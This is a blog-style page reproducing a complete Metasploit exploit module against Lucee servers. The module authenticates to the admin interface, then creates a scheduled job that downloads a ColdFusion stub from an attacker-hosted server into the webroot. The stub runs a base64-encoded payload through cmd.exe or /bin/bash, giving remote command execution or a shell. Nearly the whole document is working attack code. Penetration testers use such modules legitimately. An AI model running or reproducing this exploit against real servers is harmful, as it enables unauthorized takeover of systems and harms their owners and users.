Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86383537

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Lucee Scheduled Job v1.0 -  Command Execution
# Date: 3-23-2012
# Exploit Author: Alexander Philiotis
# Vendor Homepage: https://www.lucee.org/
# Software Link: https://download.lucee.org/
# Version: All versions with scheduled jobs enabled
# Tested on: Linux - Debian, Lubuntu & Windows 10
# Ref : https://www.synercomm.com/blog/scheduled-tasks-with-lucee-abusing-built-in-functionality-for-command-execution/

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Retry
  include Msf::Exploit::FileDropper
  require 'base64'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Lucee Authenticated Scheduled Job Code Execution',
        'Description' => %q{
          This module can be used to execute a payload on Lucee servers that have an exposed
          administrative web interface. It's possible for an administrator to create a
          scheduled job that queries a remote ColdFusion file, which is then downloaded and executed
          when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,
          the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;
          on Linux, it is either the root user or lucee.
        },
        'Targets' => [
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_cmd
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ]
        ],
        'Author' => 'Alexander Philiotis', # aphiliotis@synercomm.com
        'License' => MSF_LICENSE,
        'References' => [
          # This abuses the functionality inherent to the Lucee platform and
          # thus is not related to any CVEs.

          # Lucee Docs
          ['URL', 'https://docs.lucee.org/'],

          # cfexecute & cfscript documentation
          ['URL', 'https://docs.lucee.org/reference/tags/execute.html'],
          ['URL', 'https://docs.lucee.org/reference/tags/script.html'],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            # /opt/lucee/server/lucee-server/context/logs/application.log
            # /opt/lucee/web/logs/exception.log
            IOC_IN_LOGS,
            ARTIFACTS_ON_DISK,
            # ColdFusion files located at the webroot of the Lucee server
            # C:/lucee/tomcat/webapps/ROOT/ by default on Windows
            # /opt/lucee/tomcat/webapps/ROOT/ by default on Linux
          ]
        },
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DisclosureDate' => '2023-02-10'
      )
    )

    register_options(
      [
        Opt::RPORT(8888),
        OptString.new('PASSWORD', [false, 'The password for the administrative interface']),
        OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']),
        OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]),
      ]
    )
    deregister_options('URIPATH')
  end

  def exploit
    payload_base = rand_text_alphanumeric(8..16)
    authenticate

    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          print_status("Payload request received for #{req.uri} from #{cli.peerhost}")
          send_response(cli, cfm_stub)
        end,
        'Path' => '/' + payload_base + '.cfm'
      }
    })

    #
    # Create the scheduled job
    #
    create_job(payload_base)

    #
    # Execute the scheduled job and attempt to send a GET request to it.
    #
    execute_job(payload_base)
    print_good('Exploit completed.')

    #
    # Removes the scheduled job
    #
    print_status('Removing scheduled job ' + payload_base)
    cleanup_request = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => {
        'action' => 'services.schedule'
      },
      'vars_post' => {
        'row_1' => '1',
        'name_1' => payload_base.to_s,
        'mainAction' => 'delete'
      }
    })
    if cleanup_request && cleanup_request.code == 302
      print_good('Scheduled job removed.')
    else
      print_bad('Failed to remove scheduled job.')
    end
  end

  def authenticate
    auth = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true,
      'vars_post' => {
        'login_passwordweb' => datastore['PASSWORD'],
        'lang' => 'en',
        'rememberMe' => 's',
        'submit' => 'submit'
      }
    })

    unless auth
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end

    unless auth.code == 200 && auth.body.include?('nav_Security')
      fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.')
    end

    print_good('Authenticated successfully')
  end

  def create_job(payload_base)
    create_job = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true,
      'vars_get' => {
        'action' => 'services.schedule',
        'action2' => 'create'
      },
      'vars_post' => {
        'name' => payload_base,
        'url' => get_uri.to_s,
        'interval' => '3600',
        'start_day' => '01',
        'start_month' => '02',
        'start_year' => '2023',
        'start_hour' => '00',
        'start_minute' => '00',
        'start_second' => '00',
        'run' => 'create'
      }
    })

    fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil?
    fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302

    print_good('Job ' + payload_base + ' created successfully')
    job_file_path = file_path = webroot
    fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank?

    case target['Type']
    when :unix_cmd
      file_path << '/'
      job_file_path = "#{job_file_path.gsub('/', '//')}//"
    when :windows_cmd
      file_path << '\\'
      job_file_path = "#{job_file_path.gsub('\\', '\\\\')}\\"
    end
    update_job = send_request_cgi({
      'method' => 'POST',
      'uri' => target_uri.path,
      'keep_cookies' => true,
      'vars_get' => {
        'action' => 'services.schedule',
        'action2' => 'edit',
        'task' => create_job.headers['location'].split('=')[-1]
      },
      'vars_post' => {
        'name' => payload_base,
        'url' => get_uri.to_s,
        'port' => datastore['SRVPORT'],
        'timeout' => '50',
        'username' => '',
        'password' => '',
        'proxyserver' => '',
        'proxyport' => '',
        'proxyuser' => '',
        'proxypassword' => '',
        'publish' => 'true',
        'file' => "#{job_file_path}#{payload_base}.cfm",
        'start_day' => '01',
        'start_month' => '02',
        'start_year' => '2023',
        'start_hour' => '00',
        'start_minute' => '00',
        'start_second' => '00',
        'end_day' => '',
        'end_month' => '',
        'end_year' => '',
        'end_hour' => '',
        'end_minute' => '',
        'end_second' => '',
        'interval_hour' => '1',
        'interval_minute' => '0',
        'interval_second' => '0',
        'run' => 'update'
      }
    })

    fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil?
    fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200
    register_files_for_cleanup("#{file_path}#{payload_base}.cfm")
    print_good('Job ' + payload_base + ' updated successfully')
  end

  def execute_job(payload_base)
    print_status("Executing scheduled job: #{payload_base}")
    job_execution = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => {
        'action' => 'services.schedule'
      },
      'vars_post' => {
        'row_1' => '1',
        'name_1' => payload_base,
        'mainAction' => 'execute'
      }

    })

    fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil?
    fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200

    print_good('Job ' + payload_base + ' executed successfully')

    payload_response = nil
    retry_until_truthy(timeout: datastore['PAYLOAD_DEPLOY_TIMEOUT']) do
      print_status('Attempting to access payload...')
      payload_response = send_request_cgi(
        'uri' => '/' + payload_base + '.cfm',
        'method' => 'GET'
      )
      payload_response.nil? || (payload_response && payload_response.code == 200 && payload_response.body.exclude?('Error')) || (payload_response.code == 500)
    end

    # Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both.
    fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500

    if payload_response.nil?
      print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
    elsif payload_response.code == 200
      print_good('Received 200 response from ' + payload_base + '.cfm')
      output = payload_response.body.strip
      if output.include?("\n")
        print_good('Output:')
        print_line(output)
      elsif output.present?
        print_good('Output: ' + output)
      end
    elsif payload_response.code == 500
      print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
    end
  end

  def webroot
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })
    return nil unless res

    res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text
  end

  def cfm_stub
    case target['Type']
    when :windows_cmd
      <<~CFM.gsub(/^\s+/, '').tr("\n", '')
        <cfscript>
            cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5);
        </cfscript>
      CFM
    when :unix_cmd
      <<~CFM.gsub(/^\s+/, '').tr("\n", '')
        <cfscript>
            cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5);
        </cfscript>
      CFM
    end
  end
end